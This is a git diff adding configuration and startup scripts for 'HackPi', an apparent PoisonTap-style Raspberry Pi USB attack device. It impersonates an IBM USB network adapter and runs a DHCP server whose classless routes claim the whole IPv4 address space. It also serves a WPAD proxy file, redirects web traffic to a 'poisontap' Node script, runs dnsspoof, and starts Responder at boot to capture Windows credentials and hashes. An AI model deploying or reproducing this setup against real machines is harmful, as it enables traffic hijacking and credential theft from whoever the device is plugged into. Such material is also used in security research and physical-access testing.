diff --git a/config.txt b/config.txt new file mode 100644 index 0000000..907ffd6 --- /dev/null +++ b/config.txt @@ -0,0 +1,59 @@ +# For more options and information see +# http://www.raspberrypi.org/documentation/configuration/config-txt.md +# Some settings may impact device functionality. See link above for details + +# uncomment if you get no picture on HDMI for a default "safe" mode +#hdmi_safe=1 + +# uncomment this if your display has a black border of unused pixels visible +# and your display can output without overscan +#disable_overscan=1 + +# uncomment the following to adjust overscan. Use positive numbers if console +# goes off screen, and negative if there is too much border +#overscan_left=16 +#overscan_right=16 +#overscan_top=16 +#overscan_bottom=16 + +# uncomment to force a console size. By default it will be display's size minus +# overscan. +#framebuffer_width=1280 +#framebuffer_height=720 + +# uncomment if hdmi display is not detected and composite is being output +#hdmi_force_hotplug=1 + +# uncomment to force a specific HDMI mode (this will force VGA) +#hdmi_group=1 +#hdmi_mode=1 + +# uncomment to force a HDMI mode rather than DVI. This can make audio work in +# DMT (computer monitor) modes +#hdmi_drive=2 + +# uncomment to increase signal to HDMI, if you have interference, blanking, or +# no display +#config_hdmi_boost=4 + +# uncomment for composite PAL +#sdtv_mode=2 + +#uncomment to overclock the arm. 700 MHz is the default. +#arm_freq=800 + +# Uncomment some or all of these to enable the optional hardware interfaces +#dtparam=i2c_arm=on +#dtparam=i2s=on +#dtparam=spi=on + +# Uncomment this to enable the lirc-rpi module +#dtoverlay=lirc-rpi + +# Additional overlays and parameters are documented /boot/overlays/README + +# Enable audio (loads snd_bcm2835) +dtparam=audio=on + +dtoverlay=dwc2 + diff --git a/dhcpd.conf b/dhcpd.conf new file mode 100644 index 0000000..3e2498a --- /dev/null +++ b/dhcpd.conf @@ -0,0 +1,33 @@ +# /etc/dhcp/dhcpd.conf + +# notes below +ddns-update-style none; +default-lease-time 600; +max-lease-time 7200; +authoritative; +log-facility local7; + +# describe the codes used for injecting static routes +option classless-routes code 121 = array of unsigned integer 8; +option classless-routes-win code 249 = array of unsigned integer 8; + +option local-proxy-config code 252 = text; + +# A netmask of 128 will work across all platforms +# A way to cover /0 is to use a short lease. +# As soon as the lease expires and client sends a +# new DHCPREQUEST, you can DHCPOFFER the other half. +subnet 0.0.0.0 netmask 128.0.0.0 { + range 1.0.0.10 1.0.0.50; + option broadcast-address 255.255.255.255; + option routers 1.0.0.1; + default-lease-time 600; + max-lease-time 7200; + option domain-name "local"; + option domain-name-servers 1.0.0.1; +# send the routes for both the top and bottom of the IPv4 address space + option classless-routes 1,0, 1,0,0,1, 1,128, 1,0,0,1; + option classless-routes-win 1,0, 1,0,0,1, 1,128, 1,0,0,1; + option local-proxy-config "http://1.0.0.1/wpad.dat"; + +} diff --git a/interfaces b/interfaces new file mode 100644 index 0000000..bf760de --- /dev/null +++ b/interfaces @@ -0,0 +1,28 @@ +# interfaces(5) file used by ifup(8) and ifdown(8) + +# Please note that this file is written to be used with dhcpcd +# For static IP, consult /etc/dhcpcd.conf and 'man dhcpcd.conf' + +# Include files from /etc/network/interfaces.d: +source-directory /etc/network/interfaces.d + +auto lo br0 +iface lo inet loopback + +#allow-hotplug usb0 +iface usb0 inet manual + #address 192.168.2.201 + #netmask 255.255.255.0 + #gateway 192.168.2.1 + +#allow-hotplug usb1 +iface usb1 inet manual + +iface br0 inet static + bridge_ports usb0 usb1 + address 1.0.0.1 + netmask 0.0.0.0 + #pre-up ip addr flush dev usb0 + #pre-up ip addr flush dev usb1 + post-up route add -net 0.0.0.0/0 + post-up iptables -t nat -A PREROUTING -i br0 -p tcp --dport 80 -j REDIRECT --to-port 1337 diff --git a/isc-dhcp-server b/isc-dhcp-server new file mode 100644 index 0000000..e4a0bd5 --- /dev/null +++ b/isc-dhcp-server @@ -0,0 +1,21 @@ +# Defaults for isc-dhcp-server initscript +# sourced by /etc/init.d/isc-dhcp-server +# installed at /etc/default/isc-dhcp-server by the maintainer scripts + +# +# This is a POSIX shell fragment +# + +# Path to dhcpd's config file (default: /etc/dhcp/dhcpd.conf). +#DHCPD_CONF=/etc/dhcp/dhcpd.conf + +# Path to dhcpd's PID file (default: /var/run/dhcpd.pid). +#DHCPD_PID=/var/run/dhcpd.pid + +# Additional options to start dhcpd with. +# Don't use options -cf or -pf here; use DHCPD_CONF/ DHCPD_PID instead +#OPTIONS="" + +# On what interfaces should the DHCP server (dhcpd) serve DHCP requests? +# Separate multiple interfaces with spaces, e.g. "eth0 eth1". +INTERFACES="br0" diff --git a/modules b/modules new file mode 100644 index 0000000..39af7eb --- /dev/null +++ b/modules @@ -0,0 +1,8 @@ +# /etc/modules: kernel modules to load at boot time. +# +# This file contains the names of kernel modules that should be loaded +# at boot time, one per line. Lines beginning with "#" are ignored. + +dwc2 +libcomposite +#g_ether diff --git a/pi_startup.sh b/pi_startup.sh new file mode 100644 index 0000000..1047346 --- /dev/null +++ b/pi_startup.sh @@ -0,0 +1,78 @@ +#!/bin/sh +# +# HackPi +# by wismna +# https://github.com/wismna/raspberry-pi/blob/master/HackPi +# 04/01/2017 + +cd /sys/kernel/config/usb_gadget/ +mkdir -p hackpi +cd hackpi + +# Unique MAC Addresses per configuration +# first byte of address must be even +HOST="48:6f:73:74:50:43" +SELF0="42:61:64:55:53:42" +SELF1="42:61:64:55:53:43" + +echo 0x04b3 > idVendor # IBM Cor^poration +echo 0x4010 > idProduct # IBM USB Remote NDIS Network Device +echo 0x0100 > bcdDevice # v1.0.0 +mkdir -p strings/0x409 +echo "badc0deddeadbeef" > strings/0x409/serialnumber +echo "wismna" > strings/0x409/manufacturer +echo "HackPi" > strings/0x409/product + +# Config 1: RNDIS (Ethernet) +# This needs to be first so Windows can load the RNDIS driver. Mac (formerly) +# and Linux will ignore it and load the second configuration +mkdir -p configs/c.1/strings/0x409 +echo "0x80" > configs/c.1/bmAttributes +echo 250 > configs/c.1/MaxPower +echo "Config 1: RNDIS network" > configs/c.1/strings/0x409/configuration + +echo "1" > os_desc/use +echo "0xcd" > os_desc/b_vendor_code +echo "MSFT100" > os_desc/qw_sign + +mkdir -p functions/rndis.usb0 +echo $SELF0 > functions/rndis.usb0/dev_addr +echo $HOST > functions/rndis.usb0/host_addr +echo "RNDIS" > functions/rndis.usb0/os_desc/interface.rndis/compatible_id +echo "5162001" > functions/rndis.usb0/os_desc/interface.rndis/sub_compatible_id + +# Config 2: CDC ECM (Ethernet) +mkdir -p configs/c.2/strings/0x409 +echo "Config 2: ECM network" > configs/c.2/strings/0x409/configuration +echo 250 > configs/c.2/MaxPower + +mkdir -p functions/ecm.usb0 +echo $HOST > functions/ecm.usb0/host_addr +echo $SELF1 > functions/ecm.usb0/dev_addr + +# Create the CDC ACM (serial) function +mkdir -p functions/acm.gs0 + +# Link everything and bind the USB device +ln -s configs/c.1 os_desc + +ln -s functions/rndis.usb0 configs/c.1 + +ln -s functions/ecm.usb0 configs/c.2 +ln -s functions/acm.gs0 configs/c.2 +# End functions +ls /sys/class/udc > UDC + +# Load the brige interface now +ifup br0 +ifconfig br0 up + +/sbin/route add -net 0.0.0.0/0 br0 +/etc/init.d/isc-dhcp-server start + +/sbin/iptables -t nat -A PREROUTING -i br0 -p tcp --dport 80 -j REDIRECT --to-port 1337 +/usr/bin/screen -dmS dnsspoof /usr/sbin/dnsspoof -i br0 port 53 +/usr/bin/screen -dmS node /usr/bin/nodejs /home/pi/poisontap/pi_poisontap.js + +# Enable console login +systemctl enable getty@ttyGS0.service diff --git a/rc.local b/rc.local new file mode 100644 index 0000000..2620edf --- /dev/null +++ b/rc.local @@ -0,0 +1,34 @@ +#!/bin/sh -e +# +# rc.local +# +# This script is executed at the end of each multiuser runlevel. +# Make sure that the script will "exit 0" on success or any other +# value on error. +# +# In order to enable or disable this script just change the execution +# bits. +# +# By default this script does nothing. + +# Print the IP address +_IP=$(hostname -I) || true +if [ "$_IP" ]; then + printf "My IP address is %s\n" "$_IP" +fi + +# libcomposite configuration +#/usr/bin/zero_usb_gadget +/bin/sh /home/pi/poisontap/pi_startup.rndis.sh | tee /home/pi/poisontap/pi_startup.log + +# Clear leases +#rm -f /var/lib/dhcp/dhcpd.leases +#touch /var/lib/dhcp/dhcpd.leases + +# Start DHCP server +#/usr/sbin/dhcpd + +# Start Responder +/usr/bin/screen -dmS responder bash -c 'cd /home/pi/Responder/; python Responder.py -I br0 -f -w -r -d -F' | tee /home/pi/Responder.log + +exit 0